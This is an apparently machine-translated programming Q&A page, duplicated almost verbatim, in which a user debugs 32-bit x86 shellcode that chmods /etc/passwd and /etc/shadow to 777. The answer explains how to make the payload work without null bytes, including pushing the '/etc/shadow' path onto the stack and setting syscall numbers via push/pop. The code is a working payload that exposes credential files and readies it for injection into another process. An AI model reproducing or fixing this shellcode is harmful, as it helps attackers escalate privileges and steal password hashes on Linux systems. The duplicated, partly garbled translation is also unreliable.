为什么这个程序集不起作用?
Why doesn't this assembly work?
section .text
global _start
_start:
jmp short init
main2:
mov al, 15
pop ebx
mov ecx, 0x111111ff
shl ecx, 0x14
shr ecx, 0x14
int 0x80
xor ebx, ebx
mul ebx
mov al, 1
int 0x80
main1:
mov al, 15
pop ebx
mov ecx, 0x111111ff
shl ecx, 0x14
shr ecx, 0x14
int 0x80
xor ebx, ebx
mul ebx
mov ecx, eax
call main2
db '/etc/shadow'
init:
call main1
db '/etc/passwd'
这设法将 /etc/passwd 设置为 777,但 /etc/shadow 保持不变。执行流确实通过 main2,但它不会对 /etc/shadow 执行任何操作。用这个替换 main2 的功能:
EAX: 4 ; sys_write
EBX: 1 ; stdout
ECX: '/etc/shadow' ; popped from stack with "pop ecx", holds "/etc/shadow"
EDX: 11
int 0x80
在终端上正确打印出“/etc/shadow”。
最后,GDB中的一个"info reg"表明中断前ECX的值为“0x1ff”,相当于"chmod 777"。那为什么这行不通呢?
编辑:由于“/etc/shadow”末尾有垃圾,因此代码无法正常工作。所以现在我的问题是,为什么最后会有垃圾,我应该如何让它工作。
why is there junk at the end
因为你把它放在那里了。 assembler 只是 assembles 个字节到输出文件中,因此您需要按正确的顺序放置正确的字节。
and how should I get this to work.
Jester 已经在评论中回答了这个问题:"This is shellcode where 0 bytes are not normally allowed. So, the string should be zero terminated at runtime."
因此在 /etc/shadow
结束后留下一个字节供您覆盖,并在 运行 时用零覆盖它。 (用 xor eax,eax
或其他东西将寄存器归零)。
请注意,如果您 assemble 和 运行 您的代码作为独立的可执行文件,则字符串将位于只读文本段中。您可以将它们放在 section .data
中以模拟将其注入另一个进程的堆栈时会发生什么。我忘记了 Linux 个进程中哪些段默认是不可执行的。
解决此问题的另一种方法是将字符串压入堆栈。由于您使用的是 32 位代码,因此 PUSH imm32 应该很有用。 PUSH imm8 可以在指令中没有零的情况下给你补零。
可能喜欢
push 'w' ; imm8 -> w 0 0 0
push 'hado' ; imm32 -> h a d o
push 'tc/s'
push '///e'
mov ebx, esp ; ebp = pointer to '///etc/shadow'
;lea ebx, [esp+2] ; skip the leading "//", just to show that this technique works even if you can't pad your string to fill whole chunks of 4B.
在 64 位代码中,push imm32
保留 4 个字节的零(或一个,因为 imm32 已符号扩展为 64 位)。您可以用 mov dword [rsp+4], imm32
或 push word imm16
填充它们以一次推送 2 个字节。 (使堆栈未对齐。)x86-64 机器代码无法对 32 位操作数大小的推送进行编码。
您代码中的其他错误:
mov al, 15
不设置 eax 的其余部分。这取决于高位字节是否为零才能获得正确的系统调用号。
试试 push 15
/ pop eax
。请记住,在编写 shellcode 时执行速度并不重要,因此您可以使用令人讨厌和缓慢的习语。一些对 code-golf / 代码大小优化有益的事情在这里也很好,因为零字节通常是要避免的浪费填充。我在 codegolf.SE.
上有一些 x86 机器代码的答案
section .text
global _start
_start:
jmp short init
main2:
mov al, 15
pop ebx
mov ecx, 0x111111ff
shl ecx, 0x14
shr ecx, 0x14
int 0x80
xor ebx, ebx
mul ebx
mov al, 1
int 0x80
main1:
mov al, 15
pop ebx
mov ecx, 0x111111ff
shl ecx, 0x14
shr ecx, 0x14
int 0x80
xor ebx, ebx
mul ebx
mov ecx, eax
call main2
db '/etc/shadow'
init:
call main1
db '/etc/passwd'
这设法将 /etc/passwd 设置为 777,但 /etc/shadow 保持不变。执行流确实通过 main2,但它不会对 /etc/shadow 执行任何操作。用这个替换 main2 的功能:
EAX: 4 ; sys_write
EBX: 1 ; stdout
ECX: '/etc/shadow' ; popped from stack with "pop ecx", holds "/etc/shadow"
EDX: 11
int 0x80
在终端上正确打印出“/etc/shadow”。
最后,GDB中的一个"info reg"表明中断前ECX的值为“0x1ff”,相当于"chmod 777"。那为什么这行不通呢?
编辑:由于“/etc/shadow”末尾有垃圾,因此代码无法正常工作。所以现在我的问题是,为什么最后会有垃圾,我应该如何让它工作。
why is there junk at the end
因为你把它放在那里了。 assembler 只是 assembles 个字节到输出文件中,因此您需要按正确的顺序放置正确的字节。
and how should I get this to work.
Jester 已经在评论中回答了这个问题:"This is shellcode where 0 bytes are not normally allowed. So, the string should be zero terminated at runtime."
因此在 /etc/shadow
结束后留下一个字节供您覆盖,并在 运行 时用零覆盖它。 (用 xor eax,eax
或其他东西将寄存器归零)。
请注意,如果您 assemble 和 运行 您的代码作为独立的可执行文件,则字符串将位于只读文本段中。您可以将它们放在 section .data
中以模拟将其注入另一个进程的堆栈时会发生什么。我忘记了 Linux 个进程中哪些段默认是不可执行的。
解决此问题的另一种方法是将字符串压入堆栈。由于您使用的是 32 位代码,因此 PUSH imm32 应该很有用。 PUSH imm8 可以在指令中没有零的情况下给你补零。
可能喜欢
push 'w' ; imm8 -> w 0 0 0
push 'hado' ; imm32 -> h a d o
push 'tc/s'
push '///e'
mov ebx, esp ; ebp = pointer to '///etc/shadow'
;lea ebx, [esp+2] ; skip the leading "//", just to show that this technique works even if you can't pad your string to fill whole chunks of 4B.
在 64 位代码中,push imm32
保留 4 个字节的零(或一个,因为 imm32 已符号扩展为 64 位)。您可以用 mov dword [rsp+4], imm32
或 push word imm16
填充它们以一次推送 2 个字节。 (使堆栈未对齐。)x86-64 机器代码无法对 32 位操作数大小的推送进行编码。
您代码中的其他错误:
mov al, 15
不设置 eax 的其余部分。这取决于高位字节是否为零才能获得正确的系统调用号。试试
push 15
/pop eax
。请记住,在编写 shellcode 时执行速度并不重要,因此您可以使用令人讨厌和缓慢的习语。一些对 code-golf / 代码大小优化有益的事情在这里也很好,因为零字节通常是要避免的浪费填充。我在 codegolf.SE. 上有一些 x86 机器代码的答案